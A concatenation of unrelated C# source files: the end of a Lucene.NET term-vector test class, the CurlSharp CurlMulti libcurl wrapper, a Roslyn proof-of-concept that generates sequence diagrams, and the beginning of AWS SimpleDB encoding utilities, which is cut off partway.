Assert.AreEqual(0, dpEnum.StartOffset());
Assert.AreEqual(4, dpEnum.EndOffset());
Assert.IsNotNull(termsEnum.Next());
dpEnum = termsEnum.DocsAndPositions(null, dpEnum);
Assert.IsTrue(dpEnum.NextDoc() != DocIdSetIterator.NO_MORE_DOCS);
dpEnum.NextPosition();
Assert.AreEqual(6, dpEnum.StartOffset());
Assert.AreEqual(12, dpEnum.EndOffset());
r.Dispose();
dir.Dispose();
}
// LUCENE-1168
[Test]
public virtual void TestTermVectorCorruption()
{
Directory dir = NewDirectory();
for (int iter = 0; iter < 2; iter++)
{
IndexWriter writer = new IndexWriter(dir, ((IndexWriterConfig)NewIndexWriterConfig(TEST_VERSION_CURRENT, new MockAnalyzer(Random())).SetMaxBufferedDocs(2).SetRAMBufferSizeMB(IndexWriterConfig.DISABLE_AUTO_FLUSH)).SetMergeScheduler(new SerialMergeScheduler()).SetMergePolicy(new LogDocMergePolicy()));
Document document = new Document();
FieldType customType = new FieldType();
customType.Stored = true;
Field storedField = NewField("stored", "stored", customType);
document.Add(storedField);
writer.AddDocument(document);
writer.AddDocument(document);
document = new Document();
document.Add(storedField);
FieldType customType2 = new FieldType(StringField.TYPE_NOT_STORED);
customType2.StoreTermVectors = true;
customType2.StoreTermVectorPositions = true;
customType2.StoreTermVectorOffsets = true;
Field termVectorField = NewField("termVector", "termVector", customType2);
document.Add(termVectorField);
writer.AddDocument(document);
writer.ForceMerge(1);
writer.Dispose();
IndexReader reader = DirectoryReader.Open(dir);
for (int i = 0; i < reader.NumDocs; i++)
{
reader.Document(i);
reader.GetTermVectors(i);
}
reader.Dispose();
writer = new IndexWriter(dir, ((IndexWriterConfig)NewIndexWriterConfig(TEST_VERSION_CURRENT, new MockAnalyzer(Random())).SetMaxBufferedDocs(2).SetRAMBufferSizeMB(IndexWriterConfig.DISABLE_AUTO_FLUSH)).SetMergeScheduler(new SerialMergeScheduler()).SetMergePolicy(new LogDocMergePolicy()));
Directory[] indexDirs = new Directory[] { new MockDirectoryWrapper(Random(), new RAMDirectory(dir, NewIOContext(Random()))) };
writer.AddIndexes(indexDirs);
writer.ForceMerge(1);
writer.Dispose();
}
dir.Dispose();
}
// LUCENE-1168
[Test]
public virtual void TestTermVectorCorruption2()
{
Directory dir = NewDirectory();
for (int iter = 0; iter < 2; iter++)
{
IndexWriter writer = new IndexWriter(dir, ((IndexWriterConfig)NewIndexWriterConfig(TEST_VERSION_CURRENT, new MockAnalyzer(Random())).SetMaxBufferedDocs(2).SetRAMBufferSizeMB(IndexWriterConfig.DISABLE_AUTO_FLUSH)).SetMergeScheduler(new SerialMergeScheduler()).SetMergePolicy(new LogDocMergePolicy()));
Document document = new Document();
FieldType customType = new FieldType();
customType.Stored = true;
Field storedField = NewField("stored", "stored", customType);
document.Add(storedField);
writer.AddDocument(document);
writer.AddDocument(document);
document = new Document();
document.Add(storedField);
FieldType customType2 = new FieldType(StringField.TYPE_NOT_STORED);
customType2.StoreTermVectors = true;
customType2.StoreTermVectorPositions = true;
customType2.StoreTermVectorOffsets = true;
Field termVectorField = NewField("termVector", "termVector", customType2);
document.Add(termVectorField);
writer.AddDocument(document);
writer.ForceMerge(1);
writer.Dispose();
IndexReader reader = DirectoryReader.Open(dir);
Assert.IsNull(reader.GetTermVectors(0));
Assert.IsNull(reader.GetTermVectors(1));
Assert.IsNotNull(reader.GetTermVectors(2));
reader.Dispose();
}
dir.Dispose();
}
// LUCENE-1168
[Test]
public virtual void TestTermVectorCorruption3()
{
Directory dir = NewDirectory();
IndexWriter writer = new IndexWriter(dir, ((IndexWriterConfig)NewIndexWriterConfig(TEST_VERSION_CURRENT, new MockAnalyzer(Random())).SetMaxBufferedDocs(2).SetRAMBufferSizeMB(IndexWriterConfig.DISABLE_AUTO_FLUSH)).SetMergeScheduler(new SerialMergeScheduler()).SetMergePolicy(new LogDocMergePolicy()));
Document document = new Document();
FieldType customType = new FieldType();
customType.Stored = true;
Field storedField = NewField("stored", "stored", customType);
document.Add(storedField);
FieldType customType2 = new FieldType(StringField.TYPE_NOT_STORED);
customType2.StoreTermVectors = true;
customType2.StoreTermVectorPositions = true;
customType2.StoreTermVectorOffsets = true;
Field termVectorField = NewField("termVector", "termVector", customType2);
document.Add(termVectorField);
for (int i = 0; i < 10; i++)
{
writer.AddDocument(document);
}
writer.Dispose();
writer = new IndexWriter(dir, ((IndexWriterConfig)NewIndexWriterConfig(TEST_VERSION_CURRENT, new MockAnalyzer(Random())).SetMaxBufferedDocs(2).SetRAMBufferSizeMB(IndexWriterConfig.DISABLE_AUTO_FLUSH)).SetMergeScheduler(new SerialMergeScheduler()).SetMergePolicy(new LogDocMergePolicy()));
for (int i = 0; i < 6; i++)
{
writer.AddDocument(document);
}
writer.ForceMerge(1);
writer.Dispose();
IndexReader reader = DirectoryReader.Open(dir);
for (int i = 0; i < 10; i++)
{
reader.GetTermVectors(i);
reader.Document(i);
}
reader.Dispose();
dir.Dispose();
}
// LUCENE-1008
[Test]
public virtual void TestNoTermVectorAfterTermVector()
{
Directory dir = NewDirectory();
IndexWriter iw = new IndexWriter(dir, NewIndexWriterConfig(TEST_VERSION_CURRENT, new MockAnalyzer(Random())));
Document document = new Document();
FieldType customType2 = new FieldType(StringField.TYPE_NOT_STORED);
customType2.StoreTermVectors = true;
customType2.StoreTermVectorPositions = true;
customType2.StoreTermVectorOffsets = true;
document.Add(NewField("tvtest", "a b c", customType2));
iw.AddDocument(document);
document = new Document();
document.Add(NewTextField("tvtest", "x y z", Field.Store.NO));
iw.AddDocument(document);
// Make first segment
iw.Commit();
FieldType customType = new FieldType(StringField.TYPE_NOT_STORED);
customType.StoreTermVectors = true;
document.Add(NewField("tvtest", "a b c", customType));
iw.AddDocument(document);
// Make 2nd segment
iw.Commit();
iw.ForceMerge(1);
iw.Dispose();
dir.Dispose();
}
// LUCENE-1010
[Test]
public virtual void TestNoTermVectorAfterTermVectorMerge()
{
Directory dir = NewDirectory();
IndexWriter iw = new IndexWriter(dir, NewIndexWriterConfig(TEST_VERSION_CURRENT, new MockAnalyzer(Random())));
Document document = new Document();
FieldType customType = new FieldType(StringField.TYPE_NOT_STORED);
customType.StoreTermVectors = true;
document.Add(NewField("tvtest", "a b c", customType));
iw.AddDocument(document);
iw.Commit();
document = new Document();
document.Add(NewTextField("tvtest", "x y z", Field.Store.NO));
iw.AddDocument(document);
// Make first segment
iw.Commit();
iw.ForceMerge(1);
FieldType customType2 = new FieldType(StringField.TYPE_NOT_STORED);
customType2.StoreTermVectors = true;
document.Add(NewField("tvtest", "a b c", customType2));
iw.AddDocument(document);
// Make 2nd segment
iw.Commit();
iw.ForceMerge(1);
iw.Dispose();
dir.Dispose();
}
}
}
| |
/***************************************************************************
*
* CurlS#arp
*
* Copyright (c) 2014 Dr. Masroor Ehsan (masroore@gmail.com)
* Portions copyright (c) 2004, 2005 Jeff Phillips (jeff@jeffp.net)
*
* This software is licensed as described in the file LICENSE, which you
* should have received as part of this distribution.
*
* You may opt to use, copy, modify, merge, publish, distribute and/or sell
* copies of this Software, and permit persons to whom the Software is
* furnished to do so, under the terms of the LICENSE file.
*
* This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF
* ANY KIND, either express or implied.
*
**************************************************************************/
using System;
using System.Collections;
using System.Runtime.InteropServices;
namespace stNet.CurlSharp
{
/// <summary>
/// Implements the <c>curl_multi_xxx</c> API.
/// </summary>
public class CurlMulti : IDisposable
{
// private members
private readonly Hashtable _htEasy;
private int _maxFd;
private CurlMultiInfo[] _multiInfo;
private bool _bGotMultiInfo;
#if USE_LIBCURLSHIM
private IntPtr _fdSets;
#else
private NativeMethods.fd_set _fd_read, _fd_write, _fd_except;
#endif
private IntPtr _pMulti;
/// <summary>
/// Constructor
/// </summary>
/// <exception cref="System.InvalidOperationException">
/// This is thrown
/// if <see cref="Curl" /> hasn't bee properly initialized.
/// </exception>
/// <exception cref="System.NullReferenceException">
/// This is thrown if the native <c>CurlMulti</c> handle wasn't
/// created successfully.
/// </exception>
public CurlMulti()
{
Curl.EnsureCurl();
_pMulti = NativeMethods.curl_multi_init();
ensureHandle();
_maxFd = 0;
#if USE_LIBCURLSHIM
_fdSets = IntPtr.Zero;
_fdSets = NativeMethods.curl_shim_alloc_fd_sets();
#else
_fd_read = NativeMethods.fd_set.Create();
_fd_read = NativeMethods.fd_set.Create();
_fd_write = NativeMethods.fd_set.Create();
_fd_except = NativeMethods.fd_set.Create();
#endif
_multiInfo = null;
_bGotMultiInfo = false;
_htEasy = new Hashtable();
}
/// <summary>
/// Max file descriptor
/// </summary>
public int MaxFd
{
get { return _maxFd; }
}
/// <summary>
/// Cleanup unmanaged resources.
/// </summary>
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
/// <summary>
/// Destructor
/// </summary>
~CurlMulti()
{
Dispose(false);
}
private void Dispose(bool disposing)
{
lock (this)
{
// if (disposing) // managed member cleanup
// unmanaged cleanup
if (_pMulti != IntPtr.Zero)
{
NativeMethods.curl_multi_cleanup(_pMulti);
_pMulti = IntPtr.Zero;
}
#if USE_LIBCURLSHIM
if (_fdSets != IntPtr.Zero)
{
NativeMethods.curl_shim_free_fd_sets(_fdSets);
_fdSets = IntPtr.Zero;
}
#else
_fd_read.Cleanup();
_fd_write.Cleanup();
_fd_except.Cleanup();
#endif
}
}
private void ensureHandle()
{
if (_pMulti == IntPtr.Zero)
throw new NullReferenceException("No internal multi handle");
}
/// <summary>
/// Add an CurlEasy object.
/// </summary>
/// <param name="curlEasy">
/// <see cref="CurlEasy" /> object to add.
/// </param>
/// <returns>
/// A <see cref="CurlMultiCode" />, hopefully <c>CurlMultiCode.Ok</c>
/// </returns>
/// <exception cref="System.NullReferenceException">
/// This is thrown if the native <c>CurlMulti</c> handle wasn't
/// created successfully.
/// </exception>
public CurlMultiCode AddHandle(CurlEasy curlEasy)
{
ensureHandle();
var p = curlEasy.Handle;
_htEasy.Add(p, curlEasy);
return NativeMethods.curl_multi_add_handle(_pMulti, p);
}
/// <summary>
/// Remove an CurlEasy object.
/// </summary>
/// <param name="curlEasy">
/// <see cref="CurlEasy" /> object to remove.
/// </param>
/// <returns>
/// A <see cref="CurlMultiCode" />, hopefully <c>CurlMultiCode.Ok</c>
/// </returns>
/// <exception cref="System.NullReferenceException">
/// This is thrown if the native <c>CurlMulti</c> handle wasn't
/// created successfully.
/// </exception>
public CurlMultiCode RemoveHandle(CurlEasy curlEasy)
{
ensureHandle();
var p = curlEasy.Handle;
_htEasy.Remove(p);
return NativeMethods.curl_multi_remove_handle(_pMulti, curlEasy.Handle);
}
/// <summary>
/// Get a string description of an error code.
/// </summary>
/// <param name="errorNum">
/// The <see cref="CurlMultiCode" /> for which to obtain the error
/// string description.
/// </param>
/// <returns>The string description.</returns>
public String StrError(CurlMultiCode errorNum)
{
return Marshal.PtrToStringAnsi(NativeMethods.curl_multi_strerror(errorNum));
}
/// <summary>
/// Read/write data to/from each CurlEasy object.
/// </summary>
/// <param name="runningObjects">
/// The number of <see cref="CurlEasy" /> objects still in process is
/// written by this function to this reference parameter.
/// </param>
/// <returns>
/// A <see cref="CurlMultiCode" />, hopefully <c>CurlMultiCode.Ok</c>
/// </returns>
/// <exception cref="System.NullReferenceException">
/// This is thrown if the native <c>CurlMulti</c> handle wasn't
/// created successfully.
/// </exception>
public CurlMultiCode Perform(ref int runningObjects)
{
ensureHandle();
return NativeMethods.curl_multi_perform(_pMulti, ref runningObjects);
}
/// <summary>
/// Set internal file desriptor information before calling Select.
/// </summary>
/// <returns>
/// A <see cref="CurlMultiCode" />, hopefully <c>CurlMultiCode.Ok</c>
/// </returns>
/// <exception cref="System.NullReferenceException">
/// This is thrown if the native <c>CurlMulti</c> handle wasn't
/// created successfully.
/// </exception>
public CurlMultiCode FdSet()
{
ensureHandle();
#if USE_LIBCURLSHIM
return NativeMethods.curl_shim_multi_fdset(_pMulti, _fdSets, ref _maxFd);
#else
NativeMethods.FD_ZERO(_fd_read);
NativeMethods.FD_ZERO(_fd_write);
NativeMethods.FD_ZERO(_fd_except);
return NativeMethods.curl_multi_fdset(_pMulti, ref _fd_read, ref _fd_write, ref _fd_except, ref _maxFd);
#endif
}
/// <summary>
/// Call <c>select()</c> on the CurlEasy objects.
/// </summary>
/// <param name="timeoutMillis">
/// The timeout for the internal <c>select()</c> call,
/// in milliseconds.
/// </param>
/// <returns>
/// Number or <see cref="CurlEasy" /> objects with pending reads.
/// </returns>
/// <exception cref="System.NullReferenceException">
/// This is thrown if the native <c>CurlMulti</c> handle wasn't
/// created successfully.
/// </exception>
public int Select(int timeoutMillis)
{
ensureHandle();
#if USE_LIBCURLSHIM
return NativeMethods.curl_shim_select(_maxFd + 1, _fdSets, timeoutMillis);
#else
var timeout = NativeMethods.timeval.Create(timeoutMillis);
return NativeMethods.select(_maxFd + 1, ref _fd_read, ref _fd_write, ref _fd_except, ref timeout);
//return NativeMethods.select2(_maxFd + 1, _fd_read, _fd_write, _fd_except, timeout);
#endif
}
/// <summary>
/// Obtain status information for a CurlMulti transfer. Requires
/// CurlSharp be compiled with the libcurlshim helper.
/// </summary>
/// <returns>
/// An array of <see cref="CurlMultiInfo" /> objects, one for each
/// <see cref="CurlEasy" /> object child.
/// </returns>
/// <exception cref="System.NullReferenceException">
/// This is thrown if the native <c>CurlMulti</c> handle wasn't
/// created successfully.
/// </exception>
public CurlMultiInfo[] InfoRead()
{
if (_bGotMultiInfo)
return _multiInfo;
_bGotMultiInfo = true;
#if USE_LIBCURLSHIM
var nMsgs = 0;
var pInfo = NativeMethods.curl_shim_multi_info_read(_pMulti, ref nMsgs);
if (pInfo != IntPtr.Zero)
{
_multiInfo = new CurlMultiInfo[nMsgs];
for (var i = 0; i < nMsgs; i++)
{
var msg = (CurlMessage) Marshal.ReadInt32(pInfo, i*12);
var pEasy = Marshal.ReadIntPtr(pInfo, i*12 + 4);
var code = (CurlCode) Marshal.ReadInt32(pInfo, i*12 + 8);
_multiInfo[i] = new CurlMultiInfo(msg, (CurlEasy) _htEasy[pEasy], code);
}
NativeMethods.curl_shim_multi_info_free(pInfo);
}
return _multiInfo;
#else
throw new NotImplementedException(
"Sorry, CurlMulti.InfoRead is not implemented on this system."
);
#endif
}
}
}
| |
using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using Microsoft.CodeAnalysis;
using Microsoft.CodeAnalysis.CSharp;
using Microsoft.CodeAnalysis.CSharp.Syntax;
using Microsoft.CodeAnalysis.MSBuild;
using Microsoft.CodeAnalysis.FindSymbols;
namespace DotNetDiagrams
{
/// <summary>
/// this is a proof of concept brute-force approach to get familiar with Roslyn
/// - the Wiki provides details on usage: https://github.com/SoundLogic/Diagrams/wiki
///
/// For interested parties:
/// Due to some of the limitations of Roslyn (the nature of analyzing IL - lambdas/iterator
/// methods/await | accessing code in external DLLs ), I did not continue
/// to pursue / formalize this project - it would likely be easier to use a static analysis
/// library like Mono.Cecil
/// </summary>
class Program
{
static void Main(string[] args)
{
const string solutionName = "DotNetDiagrams";
const string solutionExtension = ".sln";
const string solutionFileName = solutionName + solutionExtension;
const string rootPath = @"C:\Workspace\";
const string solutionPath = rootPath + solutionName + @"\" + solutionFileName;
var workspace = MSBuildWorkspace.Create();
var diagramGenerator = new DiagramGenerator(solutionPath, workspace);
diagramGenerator.ProcessSolution().Wait();
diagramGenerator.GenerateDiagramFromRoot();
Console.ReadKey();
}
}
class DiagramGenerator
{
#region [Fields & Properties]
private readonly Solution _solution;
private readonly ConcurrentDictionary<MethodDeclarationSyntax, List<MethodDeclarationSyntax>> _methodDeclarationSyntaxes
= new ConcurrentDictionary<MethodDeclarationSyntax, List<MethodDeclarationSyntax>>();
private readonly ConcurrentDictionary<MethodDeclarationSyntax, Dictionary<int, MethodDeclarationSyntax>> _methodOrder
= new ConcurrentDictionary<MethodDeclarationSyntax, Dictionary<int, MethodDeclarationSyntax>>();
#endregion
#region [Constructor]
public DiagramGenerator(string solutionPath, MSBuildWorkspace workspace)
{
_solution = workspace.OpenSolutionAsync(solutionPath).Result;
}
#endregion
#region [process the tree]
private async Task ProcessCompilation(Compilation compilation)
{
var trees = compilation.SyntaxTrees;
foreach (var tree in trees)
{
var root = await tree.GetRootAsync();
var classes = root.DescendantNodes().OfType<ClassDeclarationSyntax>();
SyntaxTree treeCopy = tree;
foreach (var @class in classes)
{
await ProcessClass(@class, compilation, treeCopy);
}
}
}
private async Task ProcessClass(
ClassDeclarationSyntax @class
, Compilation compilation
, SyntaxTree syntaxTree)
{
var methods = @class.DescendantNodes().OfType<MethodDeclarationSyntax>();
foreach (var method in methods)
{
await ProcessMethod(method, compilation, syntaxTree);
}
}
private async Task ProcessMethod(
MethodDeclarationSyntax method
, Compilation compilation
, SyntaxTree syntaxTree)
{
var model = compilation.GetSemanticModel(syntaxTree);
var methodSymbol = model.GetDeclaredSymbol(method);
var callingMethods = await GetCallingMethodsAsync(methodSymbol, method);
Parallel.ForEach(callingMethods, callingMethod =>
{
ClassDeclarationSyntax callingClass = null;
if (SyntaxNodeHelper.TryGetParentSyntax(method, out callingClass))
{
List<MethodDeclarationSyntax> value;
if (!_methodDeclarationSyntaxes.TryGetValue(callingMethod, out value))
{
if (!_methodDeclarationSyntaxes.TryAdd(callingMethod, new List<MethodDeclarationSyntax>() { method }))
{
throw new Exception("Could not add item to _methodDeclarationSyntaxes!");
}
}
else
{
value.Add(method);
}
}
});
}
/// <summary>
/// Gets a list of methods that call the method based on the method symbol
/// also builds a list of called methods by the calling method as the key and then the value is a dictionary
/// of UInt64,MethodDeclarationSyntax where the UInt64 is the start location of the span where the called method is called
/// from inside the calling method - this will allow us to order our sequence diagrams, but this functionality should be moved out into a separate method at some point
/// (in fact this whole method needs a ton of refactoring and is too complex)
/// </summary>
/// <param name="methodSymbol"></param>
/// <param name="method"></param>
/// <returns></returns>
private async Task<List<MethodDeclarationSyntax>> GetCallingMethodsAsync(IMethodSymbol methodSymbol, MethodDeclarationSyntax method)
{
var references = new List<MethodDeclarationSyntax>();
var referencingSymbols = await SymbolFinder.FindCallersAsync(methodSymbol, _solution);
var referencingSymbolsList = referencingSymbols as IList<SymbolCallerInfo> ?? referencingSymbols.ToList();
if (!referencingSymbolsList.Any(s => s.Locations.Any()))
{
return references;
}
foreach (var referenceSymbol in referencingSymbolsList)
{
foreach (var location in referenceSymbol.Locations)
{
var position = location.SourceSpan.Start;
var root = await location.SourceTree.GetRootAsync();
var nodes = root.FindToken(position).Parent.AncestorsAndSelf().OfType<MethodDeclarationSyntax>();
var methodDeclarationSyntaxes = nodes as MethodDeclarationSyntax[] ?? nodes.ToArray();
references.AddRange(methodDeclarationSyntaxes);
// we need to know what order methods are called in
foreach (var methodCall in methodDeclarationSyntaxes)
{
Dictionary<int, MethodDeclarationSyntax> value;
if (!_methodOrder.TryGetValue(methodCall, out value))
{
var dictionary = new Dictionary<int, MethodDeclarationSyntax>();
dictionary.Add(location.SourceSpan.Start, method);
if (!_methodOrder.TryAdd(methodCall, dictionary))
{
throw new Exception("Could not add item to _methodOrder!");
}
}
else
{
value.Add(location.SourceSpan.Start, method);
}
}
}
}
return references;
}
#endregion
#region [42]
// I was drunk when I wrote this!
// ... that's not true .. just trying to follow proper open source protocol
#endregion
#region [build & output js-sequence-diagrams formatted text]
/// <summary>
/// generates diagram by order of methods getting called based on the first method found that does not have anything calling it
/// </summary>
public void GenerateDiagramFromRoot()
{
MethodDeclarationSyntax root = null;
foreach (var key in _methodDeclarationSyntaxes.Keys)
{
if (!_methodDeclarationSyntaxes.Values.Any(value => value.Contains(key)))
{
// then we have a method that's not being called by anything
root = key;
break;
}
}
if (root != null)
{
PrintMethodInfo(root);
}
}
public void PrintMethodInfo(MethodDeclarationSyntax callingMethod)
{
if (!_methodDeclarationSyntaxes.ContainsKey(callingMethod))
{
return;
}
var calledMethods = _methodOrder[callingMethod];
var orderedCalledMethods = calledMethods.OrderBy(kvp => kvp.Key);
foreach (var kvp in orderedCalledMethods)
{
var calledMethod = kvp.Value;
ClassDeclarationSyntax callingClass = null;
ClassDeclarationSyntax calledClass = null;
if (!SyntaxNodeHelper.TryGetParentSyntax(callingMethod, out callingClass) ||
!SyntaxNodeHelper.TryGetParentSyntax(calledMethod, out calledClass))
{
continue;
}
PrintOutgoingCallInfo(
calledClass
, callingClass
, callingMethod
, calledMethod
);
if (callingMethod != calledMethod)
{
PrintMethodInfo(calledMethod);
}
PrintReturnCallInfo(
calledClass
, callingClass
, callingMethod
, calledMethod
);
}
}
private static void PrintOutgoingCallInfo(
ClassDeclarationSyntax classBeingCalled
, ClassDeclarationSyntax callingClass
, MethodDeclarationSyntax callingMethod
, MethodDeclarationSyntax calledMethod
, bool includeCalledMethodArguments = false)
{
var callingMethodName = callingMethod.Identifier.ToFullString();
var calledMethodReturnType = calledMethod.ReturnType.ToFullString();
var calledMethodName = calledMethod.Identifier.ToFullString();
var calledMethodArguments = calledMethod.ParameterList.ToFullString();
var calledMethodModifiers = calledMethod.Modifiers.ToString();
var calledMethodConstraints = calledMethod.ConstraintClauses.ToFullString();
var actedUpon = classBeingCalled.Identifier.ValueText;
var actor = callingClass.Identifier.ValueText;
var calledMethodTypeParameters = calledMethod.TypeParameterList != null
? calledMethod.TypeParameterList.ToFullString()
: String.Empty;
var callingMethodTypeParameters = callingMethod.TypeParameterList != null
? callingMethod.TypeParameterList.ToFullString()
: String.Empty;
var callInfo = callingMethodName + callingMethodTypeParameters + " => " + calledMethodModifiers + " " + calledMethodReturnType + calledMethodName + calledMethodTypeParameters;
if (includeCalledMethodArguments)
{
callInfo += calledMethodArguments;
}
callInfo += calledMethodConstraints;
string info
= BuildOutgoingCallInfo(actor
, actedUpon
, callInfo);
Console.Write(info);
}
private static void PrintReturnCallInfo(
ClassDeclarationSyntax classBeingCalled
, ClassDeclarationSyntax callingClass
, MethodDeclarationSyntax callingMethod
, MethodDeclarationSyntax calledMethod)
{
var actedUpon = classBeingCalled.Identifier.ValueText;
var actor = callingClass.Identifier.ValueText;
var callerName = callingMethod.Identifier.ToFullString();
var callingMethodTypeParameters = callingMethod.TypeParameterList != null
? callingMethod.TypeParameterList.ToFullString()
: String.Empty;
var calledMethodTypeParameters = calledMethod.TypeParameterList != null
? calledMethod.TypeParameterList.ToFullString()
: String.Empty;
var calledMethodInfo = calledMethod.Identifier.ToFullString() + calledMethodTypeParameters;
callerName += callingMethodTypeParameters;
var returnCallInfo = calledMethod.ReturnType.ToString();
var returnMethodParameters = calledMethod.ParameterList.Parameters;
foreach (var parameter in returnMethodParameters)
{
if (parameter.Modifiers.Any(m => m.Text == "out"))
{
returnCallInfo += "," + parameter.ToFullString();
}
}
string info = BuildReturnCallInfo(
actor
, actedUpon
, calledMethodInfo
, callerName
, returnCallInfo);
Console.Write(info);
}
private static string BuildOutgoingCallInfo(string actor, string actedUpon, string callInfo)
{
const string calls = "->";
const string descriptionSeparator = ": ";
string callingInfo = actor + calls + actedUpon + descriptionSeparator + callInfo;
callingInfo = callingInfo.RemoveNewLines(true);
string result = callingInfo + Environment.NewLine;
return result;
}
private static string BuildReturnCallInfo(string actor, string actedUpon, string calledMethodInfo, string callerName, string returnInfo)
{
const string returns = "-->";
const string descriptionSeparator = ": ";
string returningInfo = actedUpon + returns + actor + descriptionSeparator + calledMethodInfo + " returns " + returnInfo + " to " + callerName;
returningInfo = returningInfo.RemoveNewLines(true);
string result = returningInfo + Environment.NewLine;
return result;
}
public async Task ProcessSolution()
{
foreach (Project project in _solution.Projects)
{
Compilation compilation = await project.GetCompilationAsync();
await ProcessCompilation(compilation);
}
}
#endregion
}
static class SyntaxNodeHelper
{
public static bool TryGetParentSyntax<T>(SyntaxNode syntaxNode, out T result)
where T : SyntaxNode
{
// set defaults
result = null;
if (syntaxNode == null)
{
return false;
}
try
{
syntaxNode = syntaxNode.Parent;
if (syntaxNode == null)
{
return false;
}
if (syntaxNode.GetType() == typeof(T))
{
result = syntaxNode as T;
return true;
}
return TryGetParentSyntax<T>(syntaxNode, out result);
}
catch
{
return false;
}
}
}
public static class StringEx
{
public static string RemoveNewLines(this string stringWithNewLines, bool cleanWhitespace = false)
{
string stringWithoutNewLines = null;
List<char> splitElementList = Environment.NewLine.ToCharArray().ToList();
if (cleanWhitespace)
{
splitElementList.AddRange(" ".ToCharArray().ToList());
}
char[] splitElements = splitElementList.ToArray();
var stringElements = stringWithNewLines.Split(splitElements, StringSplitOptions.RemoveEmptyEntries);
if (stringElements.Any())
{
stringWithoutNewLines = stringElements.Aggregate(stringWithoutNewLines, (current, element) => current + (current == null ? element : " " + element));
}
return stringWithoutNewLines ?? stringWithNewLines;
}
}
}
| |
/*******************************************************************************
* Copyright 2008-2013 Amazon.com, Inc. or its affiliates. All Rights Reserved.
* Licensed under the Apache License, Version 2.0 (the "License"). You may not use
* this file except in compliance with the License. A copy of the License is located at
*
* http://aws.amazon.com/apache2.0
*
* or in the "license" file accompanying this file. This file is distributed on
* an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
* or implied. See the License for the specific language governing permissions and
* limitations under the License.
* *****************************************************************************
* __ _ _ ___
* ( )( \/\/ )/ __)
* /__\ \ / \__ \
* (_)(_) \/\/ (___/
*
* AWS SDK for .NET
* API Version: 2009-04-15
*/
using System;
using System.Collections.Generic;
using System.Globalization;
namespace Amazon.SimpleDB.Util
{
/// <summary>
/// Provides a collection of static functions to:
/// 1. Convert various values into strings that may be compared lexicographically
/// 2. Decode a Base64 Encoded string
/// 3. Decode an Amazon SimpleDB Attribute's properties
/// 4. Decode an Amazon SimpleDB Item's properties and constituent Item(s)
/// </summary>
public static class AmazonSimpleDBUtil
{
/// <summary>
/// Date format String, e.g. 2007-12-06T10:32:43.141-08:00
/// </summary>
private static string dateFormat = "yyyy-MM-ddTHH:mm:ss.fffzzzz";
private static string base64Str = "base64";
/// <summary>
/// Encodes positive integer value into a string by zero-padding it up to the specified number of digits.
/// </summary>
/// <remarks>
/// For example, the integer 123 encoded with a 6 digit maximum would be represented as 000123
/// </remarks>
/// <param name="number">positive integer to be encoded</param>
/// <param name="maxNumDigits">maximum number of digits in the largest value in the data set</param>
/// <returns>A string representation of the zero-padded integer</returns>
public static string EncodeZeroPadding(int number, int maxNumDigits)
{
return number.ToString(CultureInfo.InvariantCulture).PadLeft(maxNumDigits, '0');
}
/// <summary>
/// Encodes positive single-precision floating point value into a string by zero-padding it to the specified number of digits.
/// </summary>
/// <remarks>
/// This function only zero-pads digits to the left of the decimal point.
///
/// For example, the value 123.456 encoded with a 6 digit maximum would be represented as 000123.456
/// </remarks>
/// <param name="number">positive floating point value to be encoded</param>
/// <param name="maxNumDigits">maximum number of digits in the largest value in the data set</param>
/// <returns>A string representation of the zero-padded floating point value</returns>
public static string EncodeZeroPadding(float number, int maxNumDigits)
{
string fltStr = number.ToString(CultureInfo.InvariantCulture);
int decPt = fltStr.IndexOf('.');
if (decPt == -1)
{
return fltStr.PadLeft(maxNumDigits, '0');
}
else
{
return fltStr.PadLeft(maxNumDigits + (fltStr.Length - decPt), '0');
}
}
/// <summary>
/// Encodes real integer value into a string by offsetting and zero-padding
/// number up to the specified number of digits. Use this encoding method if the data
/// range set includes both positive and negative values.
/// </summary>
/// <remarks>
/// For example, the integer value -123 offset by 1000 with a maximum of 6 digits would be:
/// -123 + 1000, padded to 6 digits: 000877
/// </remarks>
/// <param name="number">integer to be encoded</param>
/// <param name="maxNumDigits">maximum number of digits in the largest absolute value in the data set</param>
/// <param name="offsetValue">offset value, has to be greater than absolute value of any negative number in the data set.</param>
/// <returns>A string representation of the integer</returns>
public static string EncodeRealNumberRange(int number, int maxNumDigits, int offsetValue)
{
return (number + offsetValue).ToString(CultureInfo.InvariantCulture).PadLeft(maxNumDigits, '0');
}
/// <summary>
/// Encodes real float value into a string by offsetting and zero-padding
/// number up to the specified number of digits. Use this encoding method if the data
/// range set includes both positive and negative values.
/// </summary>
/// <remarks>
/// For example, the floating point value -123.456 offset by 1000 with
/// a maximum of 6 digits to the left, and 4 to the right would be:
/// 0008765440
/// </remarks>
/// <param name="number">floating point value to be encoded</param>
/// <param name="maxDigitsLeft">maximum number of digits left of the decimal point in the largest absolute value in the data set</param>
/// <param name="maxDigitsRight">maximum number of digits right of the decimal point in the largest absolute value in the data set, i.e. precision</param>
/// <param name="offsetValue">offset value, has to be greater than absolute value of any negative number in the data set.</param>
/// <returns>A string representation of the integer</returns>
public static string EncodeRealNumberRange(float number, int maxDigitsLeft, int maxDigitsRight, int offsetValue)
{
long shiftMultiplier = (long)Math.Pow(10, maxDigitsRight);
long shiftedNumber = (long)Math.Round((number + offsetValue) * shiftMultiplier);
return shiftedNumber.ToString(CultureInfo.InvariantCulture).PadLeft(maxDigitsLeft + maxDigitsRight, '0');
}
/// <summary>
/// Decodes zero-padded positive float value from the string representation
/// </summary>
/// <param name="value">zero-padded string representation of the float value</param>
/// <returns>original float value</returns>
public static float DecodeZeroPaddingFloat(string value)
{
return float.Parse(value, CultureInfo.InvariantCulture);
}
/// <summary>
/// Decodes zero-padded positive integer value from the string representation
/// </summary>
/// <param name="value">zero-padded string representation of the integer</param>
/// <returns>original integer value</returns>
public static int DecodeZeroPaddingInt(string value)
{
return int.Parse(value, CultureInfo.InvariantCulture);
}
/// <summary>
/// Decodes float value from the string representation that was created by using encodeRealNumberRange(..) function.
/// </summary>
/// <param name="value">string representation of the integer value</param>
/// <param name="offsetValue">offset value that was used in the original encoding</param>
/// <returns>original integer value</returns>
public static int DecodeRealNumberRangeInt(string value, int offsetValue)
{
return (int)(long.Parse(value, CultureInfo.InvariantCulture) - offsetValue);
}
/// <summary>
